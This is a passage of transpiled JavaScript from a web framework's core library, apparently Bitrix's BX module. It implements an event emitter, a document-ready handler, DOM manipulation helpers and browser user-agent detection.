							onceListeners.delete(listener);
							listeners.delete(once);
						}
					}
				}
			}, {
				key: "unsubscribeAll",
				value: function unsubscribeAll(target, eventName, options) {
					if (Type.isString(target)) {
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					if (Type.isStringFilled(eventName)) {
						var targetInfo = eventStore.get(target);

						if (targetInfo) {
							options = Type.isPlainObject(options) ? options : {};
							var fullEventName = this.resolveEventName(eventName, target, options.useGlobalNaming === true);
							targetInfo.eventsMap.delete(fullEventName);
							targetInfo.onceMap.delete(fullEventName);
						}
					} else if (Type.isNil(eventName)) {
						if (target === this.GLOBAL_TARGET) {
							console.error('You cannot unsubscribe all global listeners.');
						} else {
							eventStore.delete(target);
						}
					}
				}
			}, {
				key: "emit",
				value: function emit(target, eventName, event, options) {
					if (Type.isString(target)) {
						options = event;
						event = eventName;
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					eventName = this.normalizeEventName(eventName);

					if (!Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					options = Type.isPlainObject(options) ? options : {};
					var fullEventName = this.resolveEventName(eventName, target, options.useGlobalNaming === true);
					var globalEvents = eventStore.get(this.GLOBAL_TARGET);
					var globalListeners = globalEvents && globalEvents.eventsMap.get(fullEventName) || new Map();
					var targetListeners = new Set();

					if (target !== this.GLOBAL_TARGET) {
						var targetEvents = eventStore.get(target);
						targetListeners = targetEvents && targetEvents.eventsMap.get(fullEventName) || new Map();
					}

					var listeners = [].concat(babelHelpers.toConsumableArray(globalListeners.values()), babelHelpers.toConsumableArray(targetListeners.values()));
					listeners.sort(function (a, b) {
						return a.sort - b.sort;
					});
					var preparedEvent = this.prepareEvent(target, fullEventName, event);
					var result = [];

					for (var i = 0; i < listeners.length; i++) {
						if (preparedEvent.isImmediatePropagationStopped()) {
							break;
						}

						var _listeners$i = listeners[i],
							listener = _listeners$i.listener,
							listenerOptions = _listeners$i.options; //A previous listener could remove a current listener.

						if (globalListeners.has(listener) || targetListeners.has(listener)) {
							var listenerResult = void 0;

							if (listenerOptions.compatMode) {
								var params = [];
								var compatData = preparedEvent.getCompatData();

								if (compatData !== null) {
									params = options.cloneData === true ? Runtime.clone(compatData) : compatData;
								} else {
									params = [preparedEvent];
								}

								var context = Type.isUndefined(options.thisArg) ? target : options.thisArg;
								listenerResult = listener.apply(context, params);
							} else {
								listenerResult = Type.isUndefined(options.thisArg) ? listener(preparedEvent) : listener.call(options.thisArg, preparedEvent);
							}

							result.push(listenerResult);
						}
					}

					return result;
				}
			}, {
				key: "emitAsync",
				value: function emitAsync(target, eventName, event) {
					if (Type.isString(target)) {
						event = eventName;
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					return Promise.all(this.emit(target, eventName, event));
				}
			}, {
				key: "prepareEvent",
				value: function prepareEvent(target, eventName, event) {
					var preparedEvent = event;

					if (!(event instanceof BaseEvent)) {
						preparedEvent = new BaseEvent();
						preparedEvent.setData(event);
					}

					preparedEvent.setTarget(this.isEventEmitter(target) ? target[targetProperty] : target);
					preparedEvent.setType(eventName);
					return preparedEvent;
				}
				/**
				 * @private
				 * @returns {number}
				 */

			}, {
				key: "getNextSequenceValue",
				value: function getNextSequenceValue() {
					return this.sequenceValue++;
				}
				/**
				 * Sets max global events listeners count
				 * Event.EventEmitter.setMaxListeners(10) - sets the default value for all events (global target)
				 * Event.EventEmitter.setMaxListeners("onClose", 10) - sets the value for onClose event (global target)
				 * Event.EventEmitter.setMaxListeners(obj, 10) - sets the default value for all events (obj target)
				 * Event.EventEmitter.setMaxListeners(obj, "onClose", 10); - sets the value for onClose event (obj target)
				 * @return {void}
				 * @param args
				 */

			}, {
				key: "setMaxListeners",
				value: function setMaxListeners() {
					var target = this.GLOBAL_TARGET;
					var eventName = null;
					var count = undefined;

					for (var _len5 = arguments.length, args = new Array(_len5), _key5 = 0; _key5 < _len5; _key5++) {
						args[_key5] = arguments[_key5];
					}

					if (args.length === 1) {
						count = args[0];
					} else if (args.length === 2) {
						if (Type.isString(args[0])) {
							eventName = args[0];
							count = args[1];
						} else {
							target = args[0];
							count = args[1];
						}
					} else if (args.length >= 3) {
						target = args[0];
						eventName = args[1];
						count = args[2];
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					if (eventName !== null && !Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					if (!Type.isNumber(count) || count < 0) {
						throw new TypeError("The value of \"count\" is out of range. It must be a non-negative number. Received ".concat(count, "."));
					}

					var targetInfo = eventStore.getOrAdd(target);

					if (Type.isStringFilled(eventName)) {
						var fullEventName = this.resolveEventName(eventName, target);
						targetInfo.eventsMaxListeners.set(fullEventName, count);
					} else {
						targetInfo.maxListeners = count;
					}
				}
			}, {
				key: "getMaxListeners",
				value: function getMaxListeners(target, eventName) {
					if (Type.isString(target)) {
						eventName = target;
						target = this.GLOBAL_TARGET;
					} else if (Type.isNil(target)) {
						target = this.GLOBAL_TARGET;
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					var targetInfo = eventStore.get(target);

					if (targetInfo) {
						var maxListeners = targetInfo.maxListeners;

						if (Type.isStringFilled(eventName)) {
							var fullEventName = this.resolveEventName(eventName, target);
							maxListeners = targetInfo.eventsMaxListeners.get(fullEventName) || maxListeners;
						}

						return maxListeners;
					}

					return this.DEFAULT_MAX_LISTENERS;
				}
			}, {
				key: "addMaxListeners",
				value: function addMaxListeners() {
					var _this$destructMaxList = this.destructMaxListenersArgs.apply(this, arguments),
						_this$destructMaxList2 = babelHelpers.slicedToArray(_this$destructMaxList, 3),
						target = _this$destructMaxList2[0],
						eventName = _this$destructMaxList2[1],
						increment = _this$destructMaxList2[2];

					var maxListeners = Math.max(this.getMaxListeners(target, eventName) + increment, 0);

					if (Type.isStringFilled(eventName)) {
						EventEmitter.setMaxListeners(target, eventName, maxListeners);
					} else {
						EventEmitter.setMaxListeners(target, maxListeners);
					}

					return maxListeners;
				}
				/**
				 * Increases max listeners count
				 *
				 * Event.EventEmitter.incrementMaxListeners() - adds one max listener for all events of global target
				 * Event.EventEmitter.incrementMaxListeners(3) - adds three max listeners for all events of global target
				 * Event.EventEmitter.incrementMaxListeners('onClose') - adds one max listener for onClose event of global target
				 * Event.EventEmitter.incrementMaxListeners('onClose', 2) - adds two max listeners for onClose event of global target
				 *
				 * Event.EventEmitter.incrementMaxListeners(obj) - adds one max listener for all events of 'obj' target
				 * Event.EventEmitter.incrementMaxListeners(obj, 3) - adds three max listeners for all events of 'obj' target
				 * Event.EventEmitter.incrementMaxListeners(obj, 'onClose') - adds one max listener for onClose event of 'obj' target
				 * Event.EventEmitter.incrementMaxListeners(obj, 'onClose', 2) - adds two max listeners for onClose event of 'obj' target
				 */

			}, {
				key: "incrementMaxListeners",
				value: function incrementMaxListeners() {
					var _this$destructMaxList3 = this.destructMaxListenersArgs.apply(this, arguments),
						_this$destructMaxList4 = babelHelpers.slicedToArray(_this$destructMaxList3, 3),
						target = _this$destructMaxList4[0],
						eventName = _this$destructMaxList4[1],
						increment = _this$destructMaxList4[2];

					return this.addMaxListeners(target, eventName, Math.abs(increment));
				}
			}, {
				key: "decrementMaxListeners",
				value: function decrementMaxListeners() {
					var _this$destructMaxList5 = this.destructMaxListenersArgs.apply(this, arguments),
						_this$destructMaxList6 = babelHelpers.slicedToArray(_this$destructMaxList5, 3),
						target = _this$destructMaxList6[0],
						eventName = _this$destructMaxList6[1],
						increment = _this$destructMaxList6[2];

					return this.addMaxListeners(target, eventName, -Math.abs(increment));
				}
			}, {
				key: "destructMaxListenersArgs",
				value: function destructMaxListenersArgs() {
					var eventName = null;
					var increment = 1;
					var target = this.GLOBAL_TARGET;

					for (var _len6 = arguments.length, args = new Array(_len6), _key6 = 0; _key6 < _len6; _key6++) {
						args[_key6] = arguments[_key6];
					}

					if (args.length === 1) {
						if (Type.isNumber(args[0])) {
							increment = args[0];
						} else if (Type.isString(args[0])) {
							eventName = args[0];
						} else {
							target = args[0];
						}
					} else if (args.length === 2) {
						if (Type.isString(args[0])) {
							eventName = args[0];
							increment = args[1];
						} else if (Type.isString(args[1])) {
							target = args[0];
							eventName = args[1];
						} else {
							target = args[0];
							increment = args[1];
						}
					} else if (args.length >= 3) {
						target = args[0];
						eventName = args[1];
						increment = args[2];
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					if (eventName !== null && !Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					if (!Type.isNumber(increment)) {
						throw new TypeError("The value of \"increment\" must be a number.");
					}

					return [target, eventName, increment];
				}
				/**
				 * Gets listeners list for a specified event
				 * @param {object} target
				 * @param {string} eventName
				 */

			}, {
				key: "getListeners",
				value: function getListeners(target, eventName) {
					if (Type.isString(target)) {
						eventName = target;
						target = this.GLOBAL_TARGET;
					}

					if (!Type.isObject(target)) {
						throw new TypeError("The \"target\" argument must be an object.");
					}

					eventName = this.normalizeEventName(eventName);

					if (!Type.isStringFilled(eventName)) {
						throw new TypeError("The \"eventName\" argument must be a string.");
					}

					var targetInfo = eventStore.get(target);

					if (!targetInfo) {
						return new Map();
					}

					var fullEventName = this.resolveEventName(eventName, target);
					return targetInfo.eventsMap.get(fullEventName) || new Map();
				}
			}, {
				key: "registerAliases",
				value: function registerAliases(aliases) {
					aliases = this.normalizeAliases(aliases);
					Object.keys(aliases).forEach(function (alias) {
						aliasStore.set(alias, {
							eventName: aliases[alias].eventName,
							namespace: aliases[alias].namespace
						});
					});
					EventEmitter.mergeEventAliases(aliases);
				}
				/**
				 * @private
				 * @param aliases
				 */

			}, {
				key: "normalizeAliases",
				value: function normalizeAliases(aliases) {
					if (!Type.isPlainObject(aliases)) {
						throw new TypeError("The \"aliases\" argument must be an object.");
					}

					var result = Object.create(null);

					for (var _alias in aliases) {
						if (!Type.isStringFilled(_alias)) {
							throw new TypeError("The alias must be an non-empty string.");
						}

						var options = aliases[_alias];

						if (!options || !Type.isStringFilled(options.eventName) || !Type.isStringFilled(options.namespace)) {
							throw new TypeError("The alias options must set the \"eventName\" and the \"namespace\".");
						}

						_alias = this.normalizeEventName(_alias);
						result[_alias] = {
							eventName: options.eventName,
							namespace: options.namespace
						};
					}

					return result;
				}
				/**
				 * @private
				 */

			}, {
				key: "mergeEventAliases",
				value: function mergeEventAliases(aliases) {
					var _this3 = this;

					var globalEvents = eventStore.get(this.GLOBAL_TARGET);

					if (!globalEvents) {
						return;
					}

					Object.keys(aliases).forEach(function (alias) {
						var options = aliases[alias];
						alias = _this3.normalizeEventName(alias);

						var fullEventName = _this3.makeFullEventName(options.namespace, options.eventName);

						var aliasListeners = globalEvents.eventsMap.get(alias);

						if (aliasListeners) {
							var listeners = globalEvents.eventsMap.get(fullEventName) || new Map();
							globalEvents.eventsMap.set(fullEventName, new Map([].concat(babelHelpers.toConsumableArray(listeners), babelHelpers.toConsumableArray(aliasListeners))));
							globalEvents.eventsMap.delete(alias);
						}

						var aliasOnceListeners = globalEvents.onceMap.get(alias);

						if (aliasOnceListeners) {
							var onceListeners = globalEvents.onceMap.get(fullEventName) || new Map();
							globalEvents.onceMap.set(fullEventName, new Map([].concat(babelHelpers.toConsumableArray(onceListeners), babelHelpers.toConsumableArray(aliasOnceListeners))));
							globalEvents.onceMap.delete(alias);
						}

						var aliasMaxListeners = globalEvents.eventsMaxListeners.get(alias);

						if (aliasMaxListeners) {
							var eventMaxListeners = globalEvents.eventsMaxListeners.get(fullEventName) || 0;
							globalEvents.eventsMaxListeners.set(fullEventName, Math.max(eventMaxListeners, aliasMaxListeners));
							globalEvents.eventsMaxListeners.delete(alias);
						}
					});
				}
				/**
				 * Returns true if the target is an instance of Event.EventEmitter
				 * @param {object} target
				 * @returns {boolean}
				 */

			}, {
				key: "isEventEmitter",
				value: function isEventEmitter(target) {
					return Type.isObject(target) && target[isEmitterProperty] === true;
				}
				/**
				 * @private
				 * @param {string} eventName
				 * @returns {string}
				 */

			}, {
				key: "normalizeEventName",
				value: function normalizeEventName(eventName) {
					if (!Type.isStringFilled(eventName)) {
						return '';
					}

					return eventName.toLowerCase();
				}
				/**
				 * @private
				 * @param eventName
				 * @param target
				 * @param useGlobalNaming
				 * @returns {string}
				 */

			}, {
				key: "resolveEventName",
				value: function resolveEventName(eventName, target) {
					var useGlobalNaming = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
					eventName = this.normalizeEventName(eventName);

					if (!Type.isStringFilled(eventName)) {
						return '';
					}

					if (this.isEventEmitter(target) && useGlobalNaming !== true) {
						if (target.getEventNamespace() !== null && eventName.includes('.')) {
							console.warn("Possible the wrong event name \"".concat(eventName, "\"."));
						}

						eventName = target.getFullEventName(eventName);
					} else if (aliasStore.has(eventName)) {
						var _aliasStore$get = aliasStore.get(eventName),
							namespace = _aliasStore$get.namespace,
							actualEventName = _aliasStore$get.eventName;

						eventName = this.makeFullEventName(namespace, actualEventName);
					}

					return eventName;
				}
				/**
				 * @private
				 * @param {string} namespace
				 * @param {string} eventName
				 * @returns {string}
				 */

			}, {
				key: "makeFullEventName",
				value: function makeFullEventName(namespace, eventName) {
					var fullName = Type.isStringFilled(namespace) ? "".concat(namespace, ":").concat(eventName) : eventName;
					return Type.isStringFilled(fullName) ? fullName.toLowerCase() : '';
				}
			}]);
			return EventEmitter;
		}();

		babelHelpers.defineProperty(EventEmitter, "GLOBAL_TARGET", globalTarget);
		babelHelpers.defineProperty(EventEmitter, "DEFAULT_MAX_LISTENERS", eventStore.getDefaultMaxListeners());
		babelHelpers.defineProperty(EventEmitter, "sequenceValue", 1);

		var stack = [];
		/**
		 * For compatibility only
		 * @type {boolean}
		 */
		// eslint-disable-next-line

		exports.isReady = false;
		function ready(handler) {
			switch (document.readyState) {
				case 'loading':
					stack.push(handler);
					break;

				case 'interactive':
				case 'complete':
					if (Type.isFunction(handler)) {
						handler();
					}

					exports.isReady = true;
					break;

				default:
					break;
			}
		}
		document.addEventListener('readystatechange', function () {
			if (!exports.isReady) {
				stack.forEach(ready);
				stack = [];
			}
		});

		/**
		 * @memberOf BX
		 */

		var Event = function Event() {
			babelHelpers.classCallCheck(this, Event);
		};

		babelHelpers.defineProperty(Event, "bind", bind);
		babelHelpers.defineProperty(Event, "bindOnce", bindOnce);
		babelHelpers.defineProperty(Event, "unbind", unbind);
		babelHelpers.defineProperty(Event, "unbindAll", unbindAll);
		babelHelpers.defineProperty(Event, "ready", ready);
		babelHelpers.defineProperty(Event, "EventEmitter", EventEmitter);
		babelHelpers.defineProperty(Event, "BaseEvent", BaseEvent);

		function encodeAttributeValue(value) {
			if (Type.isPlainObject(value) || Type.isArray(value)) {
				return JSON.stringify(value);
			}

			return Text.encode(Text.decode(value));
		}

		function decodeAttributeValue(value) {
			if (Type.isString(value)) {
				var decodedValue = Text.decode(value);
				var result;

				try {
					result = JSON.parse(decodedValue);
				} catch (e) {
					result = decodedValue;
				}

				if (result === decodedValue) {
					if (/^[\d.]+[.]?\d+$/.test(result)) {
						return Number(result);
					}
				}

				if (result === 'true' || result === 'false') {
					return Boolean(result);
				}

				return result;
			}

			return value;
		}

		function getPageScroll() {
			var _document = document,
				documentElement = _document.documentElement,
				body = _document.body;
			var scrollTop = Math.max(window.pageYOffset || 0, documentElement ? documentElement.scrollTop : 0, body ? body.scrollTop : 0);
			var scrollLeft = Math.max(window.pageXOffset || 0, documentElement ? documentElement.scrollLeft : 0, body ? body.scrollLeft : 0);
			return {
				scrollTop: scrollTop,
				scrollLeft: scrollLeft
			};
		}

		/**
		 * @memberOf BX
		 */

		var Dom = /*#__PURE__*/function () {
			function Dom() {
				babelHelpers.classCallCheck(this, Dom);
			}

			babelHelpers.createClass(Dom, null, [{
				key: "replace",

				/**
				 * Replaces old html element to new html element
				 * @param oldElement
				 * @param newElement
				 */
				value: function replace(oldElement, newElement) {
					if (Type.isDomNode(oldElement) && Type.isDomNode(newElement)) {
						if (Type.isDomNode(oldElement.parentNode)) {
							oldElement.parentNode.replaceChild(newElement, oldElement);
						}
					}
				}
				/**
				 * Removes element
				 * @param element
				 */

			}, {
				key: "remove",
				value: function remove(element) {
					if (Type.isDomNode(element) && Type.isDomNode(element.parentNode)) {
						element.parentNode.removeChild(element);
					}
				}
				/**
				 * Cleans element
				 * @param element
				 */

			}, {
				key: "clean",
				value: function clean(element) {
					if (Type.isDomNode(element)) {
						while (element.childNodes.length > 0) {
							element.removeChild(element.firstChild);
						}

						return;
					}

					if (Type.isString(element)) {
						Dom.clean(document.getElementById(element));
					}
				}
				/**
				 * Inserts element before target element
				 * @param current
				 * @param target
				 */

			}, {
				key: "insertBefore",
				value: function insertBefore(current, target) {
					if (Type.isDomNode(current) && Type.isDomNode(target)) {
						if (Type.isDomNode(target.parentNode)) {
							target.parentNode.insertBefore(current, target);
						}
					}
				}
				/**
				 * Inserts element after target element
				 * @param current
				 * @param target
				 */

			}, {
				key: "insertAfter",
				value: function insertAfter(current, target) {
					if (Type.isDomNode(current) && Type.isDomNode(target)) {
						if (Type.isDomNode(target.parentNode)) {
							var parent = target.parentNode;

							if (Type.isDomNode(target.nextSibling)) {
								parent.insertBefore(current, target.nextSibling);
								return;
							}

							parent.appendChild(current);
						}
					}
				}
				/**
				 * Appends element to target element
				 * @param current
				 * @param target
				 */

			}, {
				key: "append",
				value: function append(current, target) {
					if (Type.isDomNode(current) && Type.isDomNode(target)) {
						target.appendChild(current);
					}
				}
				/**
				 * Prepends element to target element
				 * @param current
				 * @param target
				 */

			}, {
				key: "prepend",
				value: function prepend(current, target) {
					if (Type.isDomNode(current) && Type.isDomNode(target)) {
						if (Type.isDomNode(target.firstChild)) {
							target.insertBefore(current, target.firstChild);
							return;
						}

						Dom.append(current, target);
					}
				}
				/**
				 * Checks that element contains class name or class names
				 * @param element
				 * @param className
				 * @return {Boolean}
				 */

			}, {
				key: "hasClass",
				value: function hasClass(element, className) {
					if (Type.isElementNode(element)) {
						if (Type.isString(className)) {
							var preparedClassName = className.trim();

							if (preparedClassName.length > 0) {
								if (preparedClassName.includes(' ')) {
									return preparedClassName.split(' ').every(function (name) {
										return Dom.hasClass(element, name);
									});
								}

								if ('classList' in element) {
									return element.classList.contains(preparedClassName);
								}

								if (Type.isObject(element.className) && Type.isString(element.className.baseVal)) {
									return element.getAttribute('class').split(' ').some(function (name) {
										return name === preparedClassName;
									});
								}
							}
						}

						if (Type.isArray(className) && className.length > 0) {
							return className.every(function (name) {
								return Dom.hasClass(element, name);
							});
						}
					}

					return false;
				}
				/**
				 * Adds class name
				 * @param element
				 * @param className
				 */

			}, {
				key: "addClass",
				value: function addClass(element, className) {
					if (Type.isElementNode(element)) {
						if (Type.isString(className)) {
							var preparedClassName = className.trim();

							if (preparedClassName.length > 0) {
								if (preparedClassName.includes(' ')) {
									Dom.addClass(element, preparedClassName.split(' '));
									return;
								}

								if ('classList' in element) {
									element.classList.add(preparedClassName);
									return;
								}

								if (Type.isObject(element.className) && Type.isString(element.className.baseVal)) {
									if (element.className.baseVal === '') {
										element.className.baseVal = preparedClassName;
										return;
									}

									var names = element.className.baseVal.split(' ');

									if (!names.includes(preparedClassName)) {
										names.push(preparedClassName);
										element.className.baseVal = names.join(' ').trim();
										return;
									}
								}

								return;
							}
						}

						if (Type.isArray(className)) {
							className.forEach(function (name) {
								return Dom.addClass(element, name);
							});
						}
					}
				}
				/**
				 * Removes class name
				 * @param element
				 * @param className
				 */

			}, {
				key: "removeClass",
				value: function removeClass(element, className) {
					if (Type.isElementNode(element)) {
						if (Type.isString(className)) {
							var preparedClassName = className.trim();

							if (preparedClassName.length > 0) {
								if (preparedClassName.includes(' ')) {
									Dom.removeClass(element, preparedClassName.split(' '));
									return;
								}

								if ('classList' in element) {
									element.classList.remove(preparedClassName);
									return;
								}

								if (Type.isObject(element.className) && Type.isString(element.className.baseVal)) {
									var names = element.className.baseVal.split(' ').filter(function (name) {
										return name !== preparedClassName;
									});
									element.className.baseVal = names.join(' ');
									return;
								}
							}
						}

						if (Type.isArray(className)) {
							className.forEach(function (name) {
								return Dom.removeClass(element, name);
							});
						}
					}
				}
				/**
				 * Toggles class name
				 * @param element
				 * @param className
				 */

			}, {
				key: "toggleClass",
				value: function toggleClass(element, className) {
					if (Type.isElementNode(element)) {
						if (Type.isString(className)) {
							var preparedClassName = className.trim();

							if (preparedClassName.length > 0) {
								if (preparedClassName.includes(' ')) {
									Dom.toggleClass(element, preparedClassName.split(' '));
									return;
								}

								element.classList.toggle(preparedClassName);
								return;
							}
						}

						if (Type.isArray(className)) {
							className.forEach(function (name) {
								return Dom.toggleClass(element, name);
							});
						}
					}
				}
				/**
				 * Styles element
				 */

			}, {
				key: "style",
				value: function style(element, prop, value) {
					if (Type.isElementNode(element)) {
						if (Type.isNull(prop)) {
							element.removeAttribute('style');
							return element;
						}

						if (Type.isPlainObject(prop)) {
							Object.entries(prop).forEach(function (item) {
								var _item = babelHelpers.slicedToArray(item, 2),
									currentKey = _item[0],
									currentValue = _item[1];

								Dom.style(element, currentKey, currentValue);
							});
							return element;
						}

						if (Type.isString(prop)) {
							if (Type.isUndefined(value) && element.nodeType !== Node.DOCUMENT_NODE) {
								var computedStyle = getComputedStyle(element);

								if (prop in computedStyle) {
									return computedStyle[prop];
								}

								return computedStyle.getPropertyValue(prop);
							}

							if (Type.isNull(value) || value === '' || value === 'null') {
								// eslint-disable-next-line
								element.style[prop] = '';
								return element;
							}

							if (Type.isString(value) || Type.isNumber(value)) {
								// eslint-disable-next-line
								element.style[prop] = value;
								return element;
							}
						}
					}

					return null;
				}
				/**
				 * Adjusts element
				 * @param target
				 * @param data
				 * @return {*}
				 */

			}, {
				key: "adjust",
				value: function adjust(target) {
					var data = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};

					if (!target.nodeType) {
						return null;
					}

					var element = target;

					if (target.nodeType === Node.DOCUMENT_NODE) {
						element = target.body;
					}

					if (Type.isPlainObject(data)) {
						if (Type.isPlainObject(data.attrs)) {
							Object.keys(data.attrs).forEach(function (key) {
								if (key === 'class' || key.toLowerCase() === 'classname') {
									element.className = data.attrs[key];
									return;
								} // eslint-disable-next-line


								if (data.attrs[key] == '') {
									element.removeAttribute(key);
									return;
								}

								element.setAttribute(key, data.attrs[key]);
							});
						}

						if (Type.isPlainObject(data.style)) {
							Dom.style(element, data.style);
						}

						if (Type.isPlainObject(data.props)) {
							Object.keys(data.props).forEach(function (key) {
								element[key] = data.props[key];
							});
						}

						if (Type.isPlainObject(data.events)) {
							Object.keys(data.events).forEach(function (key) {
								Event.bind(element, key, data.events[key]);
							});
						}

						if (Type.isPlainObject(data.dataset)) {
							Object.keys(data.dataset).forEach(function (key) {
								element.dataset[key] = data.dataset[key];
							});
						}

						if (Type.isString(data.children)) {
							data.children = [data.children];
						}

						if (Type.isArray(data.children) && data.children.length > 0) {
							data.children.forEach(function (item) {
								if (Type.isDomNode(item)) {
									Dom.append(item, element);
								}

								if (Type.isString(item)) {
									element.innerHTML += item;
								}
							});
							return element;
						}

						if ('text' in data && !Type.isNil(data.text)) {
							element.innerText = data.text;
							return element;
						}

						if ('html' in data && !Type.isNil(data.html)) {
							element.innerHTML = data.html;
						}
					}

					return element;
				}
				/**
				 * Creates element
				 * @param tag
				 * @param data
				 * @param context
				 * @return {HTMLElement|HTMLBodyElement}
				 */

			}, {
				key: "create",
				value: function create(tag) {
					var data = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
					var context = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : document;
					var tagName = tag;
					var options = data;

					if (Type.isObjectLike(tag)) {
						options = tag;
						tagName = tag.tag;
					}

					return Dom.adjust(context.createElement(tagName), options);
				}
				/**
				 * Shows element
				 * @param element
				 */

			}, {
				key: "show",
				value: function show(element) {
					if (Type.isDomNode(element)) {
						// eslint-disable-next-line
						element.hidden = false;
					}
				}
				/**
				 * Hides element
				 * @param element
				 */

			}, {
				key: "hide",
				value: function hide(element) {
					if (Type.isDomNode(element)) {
						// eslint-disable-next-line
						element.hidden = true;
					}
				}
				/**
				 * Checks that element is shown
				 * @param element
				 * @return {*|boolean}
				 */

			}, {
				key: "isShown",
				value: function isShown(element) {
					return Type.isDomNode(element) && !element.hidden && element.style.getPropertyValue('display') !== 'none';
				}
				/**
				 * Toggles element visibility
				 * @param element
				 */

			}, {
				key: "toggle",
				value: function toggle(element) {
					if (Type.isDomNode(element)) {
						if (Dom.isShown(element)) {
							Dom.hide(element);
						} else {
							Dom.show(element);
						}
					}
				}
				/**
				 * Gets element position relative page
				 * @param {HTMLElement} element
				 * @return {DOMRect}
				 */

			}, {
				key: "getPosition",
				value: function getPosition(element) {
					if (Type.isDomNode(element)) {
						var elementRect = element.getBoundingClientRect();

						var _getPageScroll = getPageScroll(),
							scrollLeft = _getPageScroll.scrollLeft,
							scrollTop = _getPageScroll.scrollTop;

						return new DOMRect(elementRect.left + scrollLeft, elementRect.top + scrollTop, elementRect.width, elementRect.height);
					}

					return new DOMRect();
				}
				/**
				 * Gets element position relative specified element position
				 * @param {HTMLElement} element
				 * @param {HTMLElement} relationElement
				 * @return {DOMRect}
				 */

			}, {
				key: "getRelativePosition",
				value: function getRelativePosition(element, relationElement) {
					if (Type.isDomNode(element) && Type.isDomNode(relationElement)) {
						var elementPosition = Dom.getPosition(element);
						var relationElementPosition = Dom.getPosition(relationElement);
						return new DOMRect(elementPosition.left - relationElementPosition.left, elementPosition.top - relationElementPosition.top, elementPosition.width, elementPosition.height);
					}

					return new DOMRect();
				}
			}, {
				key: "attr",
				value: function attr(element, _attr, value) {
					if (Type.isElementNode(element)) {
						if (Type.isString(_attr)) {
							if (!Type.isNil(value)) {
								return element.setAttribute(_attr, encodeAttributeValue(value));
							}

							if (Type.isNull(value)) {
								return element.removeAttribute(_attr);
							}

							return decodeAttributeValue(element.getAttribute(_attr));
						}

						if (Type.isPlainObject(_attr)) {
							return Object.entries(_attr).forEach(function (_ref) {
								var _ref2 = babelHelpers.slicedToArray(_ref, 2),
									attrKey = _ref2[0],
									attrValue = _ref2[1];

								Dom.attr(element, attrKey, attrValue);
							});
						}
					}

					return null;
				}
			}]);
			return Dom;
		}();

		var UA = navigator.userAgent.toLowerCase();
		/**
		 * @memberOf BX
		 */

		var Browser = /*#__PURE__*/function () {
			function Browser() {
				babelHelpers.classCallCheck(this, Browser);
			}

			babelHelpers.createClass(Browser, null, [{
				key: "isOpera",
				value: function isOpera() {
					return UA.includes('opera');
				}
			}, {
				key: "isIE",
				value: function isIE() {
					return 'attachEvent' in document && !Browser.isOpera();
				}
			}, {
				key: "isIE6",
				value: function isIE6() {
					return UA.includes('msie 6');
				}
			}, {
				key: "isIE7",
				value: function isIE7() {
					return UA.includes('msie 7');
				}
			}, {
				key: "isIE8",
				value: function isIE8() {
					return UA.includes('msie 8');
				}
			}, {
				key: "isIE9",
				value: function isIE9() {
					return 'documentMode' in document && document.documentMode >= 9;
				}
			}, {
				key: "isIE10",
				value: function isIE10() {
					return 'documentMode' in document && document.documentMode >= 10;
				}
			}, {
				key: "isSafari",
				value: function isSafari() {
					return UA.includes('webkit');
				}
			}, {
				key: "isFirefox",
				value: function isFirefox() {
					return UA.includes('firefox');
				}
			}, {
				key: "isChrome",
				value: function isChrome() {
					return UA.includes('chrome');
				}
			}, {
				key: "detectIEVersion",
				value: function detectIEVersion() {
					if (Browser.isOpera() || Browser.isSafari() || Browser.isFirefox() || Browser.isChrome()) {
						return -1;
					}

					var rv = -1;

					if (!!window.MSStream && !window.ActiveXObject && 'ActiveXObject' in window) {
						rv = 11;
					} else if (Browser.isIE10()) {
						rv = 10;
					} else if (Browser.isIE9()) {
						rv = 9;
					} else if (Browser.isIE()) {
						rv = 8;
					}

					if (rv === -1 || rv === 8) {
						if (navigator.appName === 'Microsoft Internet Explorer') {
							var re = new RegExp('MSIE ([0-9]+[.0-9]*)');
							var res = navigator.userAgent.match(re);

							if (Type.isArrayLike(res) && res.length > 0) {
								rv = parseFloat(res[1]);
							}
						}

						if (navigator.appName === 'Netscape') {
							// Alternative check for IE 11
							rv = 11;

							var _re = new RegExp('Trident/.*rv:([0-9]+[.0-9]*)');

							if (_re.exec(navigator.userAgent) != null) {
								var _res = navigator.userAgent.match(_re);

								if (Type.isArrayLike(_res) && _res.length > 0) {
									rv = parseFloat(_res[1]);
								}
							}
						}
					}

					return rv;
				}
			}, {
				key: "isIE11",
				value: function isIE11() {
					return Browser.detectIEVersion() >= 11;
				}
			}, {
				key: "isMac",
				value: function isMac() {
					return UA.includes('macintosh');
				}
			}, {
				key: "isWin",
				value: function isWin() {
					return UA.includes('windows');
				}
			}, {
				key: "isLinux",
				value: function isLinux() {
					return UA.includes('linux') && !Browser.isAndroid();
				}
			}, {
				key: "isAndroid",
				value: function isAndroid() {
					return UA.includes('android');
				}
			}, {
				key: "isIPad",
				value: function isIPad() {
					return UA.includes('ipad;') || this.isMac() && this.isTouchDevice();
				}
			}, {
				key: "isIPhone",
				value: function isIPhone() {
					return UA.includes('iphone;');
				}
			}, {
				key: "isIOS",
				value: function isIOS() {
					return Browser.isIPad() || Browser.isIPhone();
				}
			}, {
				key: "isMobile",
				value: function isMobile() {
					return Browser.isIPhone() || Browser.isIPad() || Browser.isAndroid() || UA.includes('mobile') || UA.includes('touch');
				}
			}, {
				key: "isRetina",
				value: function isRetina() {
					return window.devicePixelRatio && window.devicePixelRatio >= 2;
				}
			}, {
				key: "isTouchDevice",
				value: function isTouchDevice() {
					return 'ontouchstart' in window || navigator.maxTouchPoints > 0 || navigator.msMaxTouchPoints > 0;
				}
			}, {
